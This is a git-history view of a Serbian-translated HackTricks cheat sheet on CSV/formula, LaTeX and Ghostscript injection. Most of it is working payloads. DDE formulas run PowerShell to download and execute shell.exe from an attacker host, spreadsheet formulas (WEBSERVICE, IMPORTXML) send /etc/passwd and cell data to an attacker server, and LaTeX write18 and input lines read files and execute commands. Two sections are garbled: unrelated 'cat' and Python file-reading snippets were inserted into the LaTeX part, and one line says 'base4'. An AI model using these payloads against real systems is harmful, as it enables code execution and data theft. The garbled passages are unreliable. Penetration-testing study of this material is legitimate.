hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

247 lines
13 KiB
Markdown
Raw Normal View History

# Formula/CSV/Doc/LaTeX/GhostScript Injection
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2023-12-31 01:25:17 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
2023-09-02 23:48:41 +00:00
2024-02-10 13:11:20 +00:00
Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivne pretnje, pronalazi probleme u celokupnom tehnološkom skupu, od API-ja do veb aplikacija i cloud sistema. [**Isprobajte ga besplatno**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) danas.
2023-09-02 23:48:41 +00:00
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
2022-07-10 22:26:52 +00:00
## Formula Injection
2024-02-10 13:11:20 +00:00
### Informacije
2024-02-10 13:11:20 +00:00
Ako se vaš **unos** reflektuje unutar **CSV fajlova** (ili bilo kog drugog fajla koji će verovatno biti otvoren u **Excel-u**), možda ćete moći da unesete Excel **formule** koje će biti **izvršene** kada korisnik **otvori fajl** ili kada korisnik **klikne na neki link** unutar Excel tabele.
{% hint style="danger" %}
2024-02-10 13:11:20 +00:00
Danas će **Excel upozoriti** (nekoliko puta) korisnika kada se nešto učita izvan Excel-a kako bi ga sprečio od zlonamernih radnji. Stoga, poseban napor na socijalnom inženjeringu mora biti primenjen na krajnji payload.
{% endhint %}
2022-09-29 15:13:42 +00:00
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
2024-02-10 13:11:20 +00:00
### Hiperlink
2022-09-29 15:13:42 +00:00
2024-02-10 13:11:20 +00:00
**Sledeći primer je veoma koristan za eksfiltraciju sadržaja iz konačnog Excel dokumenta i za izvršavanje zahteva ka proizvoljnim lokacijama. Međutim, zahteva da korisnik klikne na link (i prihvati upozorenja).**
2024-02-10 13:11:20 +00:00
Sledeći primer je preuzet sa [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
2024-02-10 13:11:20 +00:00
Zamislite da je došlo do bezbednosnog propusta u sistemu za upravljanje evidencijama studenata koji je iskorišćen putem napada CSV ubacivanjem. Primarni cilj napadača je da kompromituje sistem koji koriste nastavnici za upravljanje detaljima studenata. Metoda uključuje ubacivanje zlonamernog payload-a u aplikaciju, tačnije unošenje štetnih formula u polja namenjena za detalje studenata. Napad se odvija na sledeći način:
2024-02-10 13:11:20 +00:00
1. **Ubacivanje zlonamernog payload-a:**
- Napadač podnosi formu za detalje studenata, ali uključuje formulu koja se često koristi u tabelama (npr. `=HYPERLINK("<zlonamerni_link>","Kliknite ovde")`).
- Ova formula je dizajnirana da kreira hiperlink, ali ona vodi ka zlonamernom serveru koji je pod kontrolom napadača.
2024-02-10 13:11:20 +00:00
2. **Izvoz kompromitovanih podataka:**
- Nastavnici, nesvesni kompromitacije, koriste funkcionalnost aplikacije za izvoz podataka u CSV fajl.
- CSV fajl, kada se otvori, i dalje sadrži zlonamerni payload. Ovaj payload se pojavljuje kao klikabilni hiperlink u tabeli.
2024-02-10 13:11:20 +00:00
3. **Pokretanje napada:**
- Nastavnik klikne na hiperlink, verujući da je to legitimni deo detalja o studentu.
- Nakon klika, osetljivi podaci (potencijalno uključujući detalje iz tabele ili računara nastavnika) se prenose na server napadača.
2024-02-10 13:11:20 +00:00
4. **Logovanje podataka:**
- Server napadača prima i beleži osetljive podatke poslate sa računara nastavnika.
- Napadač može zatim koristiti ove podatke u razne zlonamerne svrhe, dalje kompromitujući privatnost i bezbednost studenata i institucije.
2022-07-10 22:26:52 +00:00
### RCE
2024-02-10 13:11:20 +00:00
**Proverite [originalni post](https://notsosecure.com/data-exfiltration-formula-injection-part1) za dodatne detalje.**
2024-02-10 13:11:20 +00:00
U određenim konfiguracijama ili starijim verzijama Excel-a, funkcionalnost nazvana Dynamic Data Exchange (DDE) može biti iskorišćena za izvršavanje proizvoljnih komandi. Da biste to iskoristili, moraju biti omogućene sledeće postavke:
2024-02-10 13:11:20 +00:00
- Idite na File → Options → Trust Center → Trust Center Settings → External Content i omogućite **Dynamic Data Exchange Server Launch**.
2021-06-29 12:49:13 +00:00
2024-02-10 13:11:20 +00:00
Kada se otvori tabela sa zlonamernim payload-om (i ako korisnik prihvati upozorenja), payload se izvršava. Na primer, da biste pokrenuli kalkulator aplikaciju, payload bi bio:
2024-02-06 03:10:38 +00:00
```markdown
`=cmd|' /C calc'!xxx`
2021-06-29 12:49:13 +00:00
```
2024-02-10 13:11:20 +00:00
Dodatne komande takođe mogu biti izvršene, kao što je preuzimanje i izvršavanje fajla koristeći PowerShell:
2024-02-06 03:10:38 +00:00
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
2021-06-29 12:49:13 +00:00
```
2024-02-10 13:11:20 +00:00
### Lokalno uključivanje datoteka (LFI) u LibreOffice Calc
2021-06-29 12:49:13 +00:00
2024-02-10 13:11:20 +00:00
LibreOffice Calc se može koristiti za čitanje lokalnih datoteka i izvlačenje podataka. Evo nekih metoda:
2021-06-29 12:49:13 +00:00
2024-02-10 13:11:20 +00:00
- Čitanje prvog reda iz lokalne datoteke `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
- Izvlačenje pročitanih podataka na server pod kontrolom napadača: `=WEBSERVICE(CONCATENATE("http://<napadačeva IP adresa>:8080/",('file:///etc/passwd'#$passwd.A1)))`
- Izvlačenje više od jednog reda: `=WEBSERVICE(CONCATENATE("http://<napadačeva IP adresa>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
- DNS izvlačenje (slanje pročitanih podataka kao DNS upita na DNS server pod kontrolom napadača): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<napadačeva domena>"))`
2021-06-29 12:49:13 +00:00
2024-02-10 13:11:20 +00:00
### Google Sheets za izvlačenje podataka izvan opsega (OOB)
2021-06-29 12:49:13 +00:00
2024-02-10 13:11:20 +00:00
Google Sheets nudi funkcije koje se mogu iskoristiti za izvlačenje podataka izvan opsega:
2021-06-29 12:49:13 +00:00
2024-02-10 13:11:20 +00:00
- **CONCATENATE**: Spaja nizove - `=CONCATENATE(A2:E2)`
- **IMPORTXML**: Uvozi podatke iz strukturiranih vrsta podataka - `=IMPORTXML(CONCAT("http://<napadačeva IP adresa:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
- **IMPORTFEED**: Uvozi RSS ili ATOM feedove - `=IMPORTFEED(CONCAT("http://<napadačeva IP adresa:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
- **IMPORTHTML**: Uvozi podatke iz HTML tabela ili listi - `=IMPORTHTML (CONCAT("http://<napadačeva IP adresa:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
- **IMPORTRANGE**: Uvozi opseg ćelija iz druge tabele - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
- **IMAGE**: Ubacuje sliku u ćeliju - `=IMAGE("https://<napadačeva IP adresa:Port>/images/srpr/logo3w.png")`
2021-06-29 12:49:13 +00:00
2024-02-10 13:11:20 +00:00
## LaTeX ubacivanje
2022-07-10 22:26:52 +00:00
2024-02-10 13:11:20 +00:00
Obično serveri koje ćete pronaći na internetu koji **pretvaraju LaTeX kod u PDF** koriste **`pdflatex`**.\
Ovaj program koristi 3 glavna atributa za (ne)dozvoljavanje izvršavanja komandi:
2022-07-10 22:26:52 +00:00
2024-02-10 13:11:20 +00:00
* **`--no-shell-escape`**: **Onemogućava** konstrukciju `\write18{command}`, čak i ako je omogućena u datoteci texmf.cnf.
* **`--shell-restricted`**: Isto kao `--shell-escape`, ali **ograničeno** na 'siguran' skup **unapred definisanih** \*\*komandi (\*\*Na Ubuntu 16.04 lista se nalazi u `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Omogućava** konstrukciju `\write18{command}`. Komanda može biti bilo koja shell komanda. Ova konstrukcija je obično zabranjena iz sigurnosnih razloga.
2022-07-10 22:26:52 +00:00
2024-02-10 13:11:20 +00:00
Međutim, postoje i druge metode izvršavanja komandi, pa je radi izbegavanja RCE-a vrlo važno koristiti `--shell-restricted`.
2022-07-10 22:26:52 +00:00
2024-02-10 13:11:20 +00:00
### Čitanje datoteke <a href="#read-file" id="read-file"></a>
2024-02-10 13:11:20 +00:00
Možda ćete morati prilagoditi ubacivanje sa omotačima kao što su \[ ili $.
2022-07-10 22:26:52 +00:00
```bash
\input{/etc/passwd}
\include{password} # load .tex file
2022-07-12 21:55:32 +00:00
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
2022-07-10 22:26:52 +00:00
```
2024-02-10 13:11:20 +00:00
#### Čitanje jednolinijske datoteke
Da biste pročitali sadržaj jednolinijske datoteke, možete koristiti sledeći kod:
```bash
cat ime_datoteke
```
2022-07-10 22:26:52 +00:00
2024-02-10 13:11:20 +00:00
Gde `ime_datoteke` predstavlja ime datoteke koju želite da pročitate.
2022-07-10 22:26:52 +00:00
2024-02-10 13:11:20 +00:00
Ovaj kod će prikazati sadržaj datoteke na ekranu.
2022-07-10 22:26:52 +00:00
```bash
\newread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
2024-02-10 13:11:20 +00:00
#### Čitanje višelinijske datoteke
2022-07-10 22:26:52 +00:00
2024-02-10 13:11:20 +00:00
Da biste pročitali višelinijsku datoteku, možete koristiti sledeći kod:
2022-07-10 22:26:52 +00:00
2024-02-10 13:11:20 +00:00
```python
with open('ime_datoteke.txt', 'r') as file:
lines = file.readlines()
for line in lines:
print(line.strip())
```
Ovaj kod otvara datoteku sa zadatim imenom (`ime_datoteke.txt`) u režimu čitanja (`'r'`). Zatim koristi metodu `readlines()` da pročita sve linije iz datoteke i smešta ih u listu `lines`. Nakon toga, petlja prolazi kroz svaku liniju u listi i koristi metodu `strip()` da ukloni sve praznine sa početka i kraja linije pre nego što je prikaže na ekranu.
Napomena: Promenite `'ime_datoteke.txt'` sa stvarnim imenom datoteke koju želite da pročitate.
2022-07-10 22:26:52 +00:00
```bash
\newread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/passwd
\loop\unless\ifeof\file
2024-02-10 13:11:20 +00:00
\read\file to\fileline
\text{\fileline}
2022-07-10 22:26:52 +00:00
\repeat
\closein\file
```
2024-02-10 13:11:20 +00:00
### Pisanje datoteke <a href="#write-file" id="write-file"></a>
2022-07-10 22:26:52 +00:00
```bash
\newwrite\outfile
2022-07-10 22:26:52 +00:00
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
2024-02-10 13:11:20 +00:00
### Izvršavanje komande <a href="#izvršavanje-komande" id="izvršavanje-komande"></a>
2022-07-10 22:26:52 +00:00
2024-02-10 13:11:20 +00:00
Ulaz komande će biti preusmeren na stdin, koristite privremenu datoteku da je dobijete.
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
2022-07-12 22:56:28 +00:00
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
2022-07-10 22:26:52 +00:00
```
2024-02-10 13:11:20 +00:00
Ako dobijete bilo kakvu LaTex grešku, razmislite o korišćenju base64 da biste dobili rezultat bez loših karaktera.
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
2024-02-10 13:11:20 +00:00
Iz [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
2022-07-10 22:26:52 +00:00
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
2024-02-10 13:11:20 +00:00
## Ghostscript ubacivanje
2022-07-10 22:26:52 +00:00
2024-02-10 13:11:20 +00:00
**Proverite [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)**
2024-02-10 13:11:20 +00:00
## Reference
2021-06-29 12:49:13 +00:00
2022-07-10 22:26:52 +00:00
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
2023-09-02 23:48:41 +00:00
2024-02-10 13:11:20 +00:00
Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivne pretnje, pronalazi probleme u celom vašem tehnološkom skupu, od API-ja do veb aplikacija i sistemima u oblaku. [**Isprobajte besplatno**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) danas.
2023-09-02 23:48:41 +00:00
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2023-12-31 01:25:17 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>